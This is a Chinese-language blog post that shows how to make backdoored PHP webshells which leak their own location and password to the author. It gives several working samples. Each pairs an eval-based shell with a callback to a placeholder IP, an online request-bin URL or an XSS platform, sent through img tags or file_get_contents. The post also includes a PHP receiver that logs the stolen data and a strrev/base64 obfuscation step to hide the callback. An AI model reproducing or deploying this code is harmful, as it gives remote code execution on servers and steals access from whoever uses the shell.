带后门webshell制作

前言

多年前直接拿别人的免杀webshell或者大马使用时,经常会遇到在木马里留后门的情况,这种木马对我们自身机器没有什么危害,但是在我们使用的时候,上传webshell的地址与连接密码会被木马作者获取。

简单的说就是你的shell就是我的shell,被窃取劳动成果还是很不爽的。

所以本文打算把webshell后门的制作的办法总结一篇文档,以后面对这些木马就更知己知彼,有办法给它把后门去掉。

原理

webshell后门的目标就是为了窃取我们上传了webshell的网站和路径,在密码可随意修改的情况下最好也知道你的连接密码。

后门需要做的就是将这两部分信息发送给我们接收信息的服务器,使用php脚本发送信息的方式非常多,但是这里常见的方式是通过js链接的方式携带这些信息访问服务,或者通过php某些发送请求的函数进行发送。

比如

1
2
3
4
<img src=http://xx.xx.xx.xx/>
fopen()
file_get_contents()
curl

制作

临时接收

最简单的例子就是临时开启python的http服务,将上文提到的两部分信息放在img src中

1
2
3
4
5
6
7
<?php
$_00 = a;
$_11 = base64_decode("X1B____PU1_____Q=___");
$_22=${$_11}[$_00];
eval($_22);
echo "<img src=http://xx.xx.xx.xx:8000/url=".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."&passwd=".$_00.">";
?>

使用浏览器访问webshell文件的时候,js会自动将信息拼接起来get请求http server,在开启的http server的日志中可以清晰看到webshell网址和连接密码。

但是这种粗鄙的方式只适用于随手给出去木马然后开个临时的server监听

如果要投放出自己的webshell,让它自由传播慢慢等待记录这些数据就得搭建专门的接收平台。

使用在线平台接收

可使用在线的一些网址来接收requests请求,有效的防止被人定位自己服务器

https://request.worktile.com/

只需获取一个随机的url,然后添加进一句话木马中

1
2
3
4
5
6
7
<?php
$_00 = a;
$_11 = base64_decode("X1B____PU1_____Q=___");
$_22=${$_11}[$_00];
eval($_22);
echo "<img src=https://request.worktile.com/NsMjXjQqj?url=".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."&passwd=".$_00.">";
?>

上传并访问webshell,得到结果

搭建xssplatform接收

搭建xssplatform

xssplatform默认会接收http referer,并且选择创建默认配置时,参数有location等,可以直接使用其作为webshell后门的接收平台

1
2
3
4
5
6
7
<?php
$_00 = a;
$_11 = base64_decode("X1B____PU1_____Q=___");
$_22=${$_11}[$_00];
eval($_22);
echo "<img src=http://xx.xx.xx.xx/xss/index.php?do=api&id=9vngN8&location=".$_00.">";
?>

将webshell密码赋值给location字段

然后xss平台接收到的请求,http referer就是目标上传的木马地址,location的值就是连接密码

自写接收网站

自己用php写一个简单的接收requests并记录到txt或数据库的web页面

给出一个例子

1
2
3
4
5
6
7
<?php
$url = $_GET["url"];
$pass = $_GET["passwd"];
$log = fopen("save.txt", "a");
fwrite($log, $url ." " .$pass. "\n");
fclose($log);
?>

然后将如下木马上传并访问

1
2
3
4
5
6
7
<?php
$_00 = a;
$_11 = base64_decode("X1B____PU1_____Q=___");
$_22=${$_11}[$_00];
eval($_22);
echo "<img src=http://xx.xx.xx.xx/req.php?url=".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."&passwd=".$_00.">";
?>

得到save.txt内容

不经过浏览器访问情况获取

有时使用这些木马的人并不会去访问以下自己的webshell页面,而是直接用连接工具连接,这时就不适合用img src的方式,可以采用file_get_contents()函数发出请求

1
2
3
4
5
6
7
8
<?php
$_00 = a;
$_11 = base64_decode("X1B____PU1_____Q=___");
$_22=${$_11}[$_00];
eval($_22);
$req = "http://xx.xx.xx.xx/req.php?url=".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."&passwd=".$_00;
file_get_contents($req);
?>

隐藏特征

明文将服务器地址写出来,一眼就会被看出来有问题,在使用前我们还需要对木马进行一定的编码、加密处理,使其更混乱一点。

简单举个例子,实际最好用更复杂的逻辑来做:

1
2
3
4
5
6
7
8
9
10
11
<?php
$_00 = a;
$_01 = "edoced_";
$_02 = "46esab";
$_11 = strrev($_01.$_02)("X1B____PU1_____Q=___");
$_22=${$_11}[$_00];
eval($_22);
$req = "==_QP__sJXd/AHaw5SclJ3L4___hnL4hnL4hnL4___h3LvoDc0RHa";
$_33 = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."&passwd=".$_00;
file_get_contents(strrev($_01.$_02)(strrev($req)).$_33);
?>

成功传输:

不过稍微审计一下就会发现,或者动态的尝试一下就会发现有连接外部的操作。

ps

本来打算把《带后门webshell制作》和《快速鉴别webshell后门》写到一篇的,但是最近有点懒,十几篇想写的笔记都写了一半或者开头就没怎么动了,所以等想写了再单独发一篇吧。